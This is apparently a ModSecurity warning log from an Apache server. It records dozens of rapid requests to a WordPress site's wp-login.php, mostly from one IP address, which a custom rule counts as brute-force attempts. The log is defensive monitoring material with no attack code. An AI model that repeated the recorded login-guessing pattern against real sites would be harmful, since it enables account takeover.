[Fri Feb 27 20:48:42.285547 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSqsKBhrfI6KNv9RioAAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:43.565723 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSq8KBhrfI6KNv9RioBwAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:46.219540 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSrsKBhrfI6KNv9RioDgAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:47.441951 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSr8KBhrfI6KNv9RioEQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:50.644503 2026] [:error] [pid 52073:tid 52097] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSsoa650YPyxXVeRY0zgAAAZU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:51.903892 2026] [:error] [pid 52073:tid 52100] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSs4a650YPyxXVeRY02gAAAZg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:54.466964 2026] [:error] [pid 52073:tid 52086] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGStoa650YPyxXVeRY04AAAAYo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:55.670992 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSt4a650YPyxXVeRY04QAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:58.190842 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSuoa650YPyxXVeRY05wAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:59.463120 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSu4a650YPyxXVeRY06QAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:02.067245 2026] [:error] [pid 52073:tid 52095] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSvoa650YPyxXVeRY07gAAAZM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:03.276863 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSv4a650YPyxXVeRY08wAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:05.813224 2026] [:error] [pid 52073:tid 52091] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSwYa650YPyxXVeRY09wAAAY8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:07.002525 2026] [:error] [pid 52073:tid 52087] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSw4a650YPyxXVeRY0-gAAAYs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:09.525330 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSxYa650YPyxXVeRY0_wAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:10.738911 2026] [:error] [pid 52073:tid 52080] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSxoa650YPyxXVeRY1AAAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:13.269086 2026] [:error] [pid 52073:tid 52095] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSyYa650YPyxXVeRY1BgAAAZM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:14.479510 2026] [:error] [pid 52073:tid 52079] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSyoa650YPyxXVeRY1CwAAAYM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:16.941068 2026] [:error] [pid 52073:tid 52078] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSzIa650YPyxXVeRY1EAAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:18.172925 2026] [:error] [pid 52073:tid 52080] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSzoa650YPyxXVeRY1EgAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:20.737844 2026] [:error] [pid 52073:tid 52084] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS0Ia650YPyxXVeRY1GQAAAYg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:21.931436 2026] [:error] [pid 52073:tid 52078] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS0Ya650YPyxXVeRY1HwAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:24.432806 2026] [:error] [pid 52073:tid 52082] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS1Ia650YPyxXVeRY1MwAAAYY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:25.636884 2026] [:error] [pid 52073:tid 52094] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS1Ya650YPyxXVeRY1NQAAAZI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:28.160735 2026] [:error] [pid 52073:tid 52095] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS2Ia650YPyxXVeRY1OAAAAZM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:29.363518 2026] [:error] [pid 52073:tid 52078] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS2Ya650YPyxXVeRY1OQAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:31.860146 2026] [:error] [pid 52073:tid 52091] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS24a650YPyxXVeRY1OwAAAY8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:33.054188 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS3Ya650YPyxXVeRY1PAAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:35.572572 2026] [:error] [pid 52073:tid 52097] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS34a650YPyxXVeRY1PwAAAZU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:36.817335 2026] [:error] [pid 52073:tid 52087] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS4Ia650YPyxXVeRY1RgAAAYs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:39.524186 2026] [:error] [pid 52073:tid 52083] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS44a650YPyxXVeRY1SgAAAYc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:40.760658 2026] [:error] [pid 52073:tid 52096] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS5Ia650YPyxXVeRY1SwAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:43.211058 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS54a650YPyxXVeRY1UAAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:44.639639 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS6Ia650YPyxXVeRY1UwAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:47.206975 2026] [:error] [pid 52073:tid 52097] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS64a650YPyxXVeRY1VgAAAZU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:48.230227 2026] [:error] [pid 54102:tid 54160] [client 37.77.150.123:49468] [client 37.77.150.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.77.150.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS63i74D4fiYUm_GdpFQAAAJA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:48.394853 2026] [:error] [pid 52073:tid 52086] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS7Ia650YPyxXVeRY1VwAAAYo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:50.959591 2026] [:error] [pid 52073:tid 52076] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS7oa650YPyxXVeRY1WwAAAYA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:52.154990 2026] [:error] [pid 52073:tid 52078] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS8Ia650YPyxXVeRY1YAAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:53.965521 2026] [:error] [pid 56075:tid 56078] [client 37.77.150.123:51351] [client 37.77.150.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.77.150.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS8cKBhrfI6KNv9RiotwAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:54.648660 2026] [:error] [pid 52073:tid 52084] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS8oa650YPyxXVeRY1aQAAAYg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:55.875699 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS84a650YPyxXVeRY1bwAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:58.540315 2026] [:error] [pid 52073:tid 52091] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS9oa650YPyxXVeRY1hAAAAY8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:49:59.786587 2026] [:error] [pid 52073:tid 52085] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS94a650YPyxXVeRY1hwAAAYk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:02.396133 2026] [:error] [pid 52073:tid 52090] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS-oa650YPyxXVeRY1jQAAAY4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:04.194847 2026] [:error] [pid 52073:tid 52090] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS_Ia650YPyxXVeRY1lQAAAY4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:06.722011 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS_oa650YPyxXVeRY1nAAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:07.950881 2026] [:error] [pid 52073:tid 52095] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGS_4a650YPyxXVeRY1nwAAAZM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:10.519638 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTAoa650YPyxXVeRY1oQAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:12.267814 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTBIa650YPyxXVeRY1ogAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:14.817270 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTBoa650YPyxXVeRY1pAAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:16.026119 2026] [:error] [pid 52073:tid 52094] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTCIa650YPyxXVeRY1qQAAAZI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:18.556974 2026] [:error] [pid 52073:tid 52097] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTCoa650YPyxXVeRY1rQAAAZU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:19.749944 2026] [:error] [pid 52073:tid 52077] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTC4a650YPyxXVeRY1rwAAAYE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:50:22.202041 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:41028] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGTDoa650YPyxXVeRY1tAAAAZY"], referer: https://gigfragments.org/wp-login.php
